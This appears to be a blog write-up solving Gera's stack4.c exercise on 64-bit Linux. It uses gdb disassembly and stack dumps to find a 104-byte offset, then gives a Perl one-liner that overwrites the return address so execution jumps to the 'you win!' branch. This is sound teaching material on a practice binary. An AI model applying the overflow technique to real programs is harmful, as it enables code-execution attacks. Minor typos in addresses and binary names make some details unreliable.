22 February 2014

Control Flow Redirection Gera's stack4.c

Playing with Gera's awesome examples on 64-bit platform is really fun and challenging. Today I  show the steps for stack4.c solution.

First of all, the vulnerable string function gets() causes program to overflow and because of the following conditions, it is impossible to pass cookie value(0x000a0d00) as an input to gets() function
  • char * gets ( char * str );
    • When gets encounters a new line character or null byte, it stops reading, but does NOT store it.
##stack4.c##

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000a0d00)
		printf("you win!\n");
}

So we need to change the flow of the program to get "you win !" value.

Here is the disassemble of main ::

(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004005bc <+0>: push   rbp
   0x00000000004005bd <+1>: mov    rbp,rsp
   0x00000000004005c0 <+4>: sub    rsp,0x60
   0x00000000004005c4 <+8>: lea    rdx,[rbp-0x4]
   0x00000000004005c8 <+12>: lea    rax,[rbp-0x60]
   0x00000000004005cc <+16>: mov    rsi,rax
   0x00000000004005cf <+19>: mov    edi,0x4006a4
   0x00000000004005d4 <+24>: mov    eax,0x0
   0x00000000004005d9 <+29>: call   0x400490
   0x00000000004005de <+34>: lea    rax,[rbp-0x60]
   0x00000000004005e2 <+38>: mov    rdi,rax
   0x00000000004005e5 <+41>: call   0x4004c0
   0x00000000004005ea <+46>: mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005ed <+49>: cmp    eax,0xa0d00 // compare; if true go +56 false jump +66
   0x00000000004005f2 <+54>: jne    0x4005fe
   0x00000000004005f4 <+56>: mov    edi,0x4006bc
   0x00000000004005f9 <+61>: call   0x400480
   0x00000000004005fe <+66>: leave
=> 0x00000000004005ff <+67>: ret  
End of assembler dump.

When we look the value in 0x4006bc ::
#(gdb) x/s 0x4006bc
0x4006bc: "you win!"

The call 0x400480 instruction basically push "you win" value from R12 to stack and then the puts function print out the screen.

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4e0 --> 0x7ffff7dd4280 --> 0xfbad2a84
0008| 0x7fffffffe4e8 --> 0x7ffff7a8dc5f (<_io_file_overflow>: cmp    eax,0xffffffff)
0016| 0x7fffffffe4f0 --> 0x7ffff7dd4280 --> 0xfbad2a84
0024| 0x7fffffffe4f8 --> 0x8
0032| 0x7fffffffe500 --> 0x4006bc ("you win!")
0040| 0x7fffffffe508 --> 0x7ffff7a83002 (: add    eax,0x1)
0048| 0x7fffffffe510 --> 0x0
0056| 0x7fffffffe518 --> 0x7fffffffe590 --> 0x0
[------------------------------------------------------------------------------]


So our scenario should be writing stack frame pointer to address of +56 and make the execution of flow changed.We should find the exact length from buffer to stack frame pointer. As we can get the address of buffer from the code , it is easy to find SFP current address before the ret instruction.

# breakpoint on ret value ==>

buf: ffffe530 cookie: ffffe58c
123
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xfbad2288
RDX: 0x7ffff7dd5a00 --> 0x0
RSI: 0x7ffff7ff6003 --> 0xa ('\n')
RDI: 0x7fffffffe533 --> 0xffe6880000000000
RBP: 0x0
RSP: 0x7fffffffe598 --> 0x7ffff7a33ea5 (<__libc_start_main>: mov    edi,eax)

The difference between 0x7fffffffe598 - 0x7ffffff530 is 0x68 which means 104 in decimal. After 104 character the RIP can execute any  address which we set.( 0x00000000004005f4 <+56>:)

# perl -e 'print "\x41" x 104 ."\xf4\x05\x40\x00\x00"' | ./stack1
buf: 9a3896e0 cookie: 9a38973c
you win!
Bus error (core dumped)


No comments: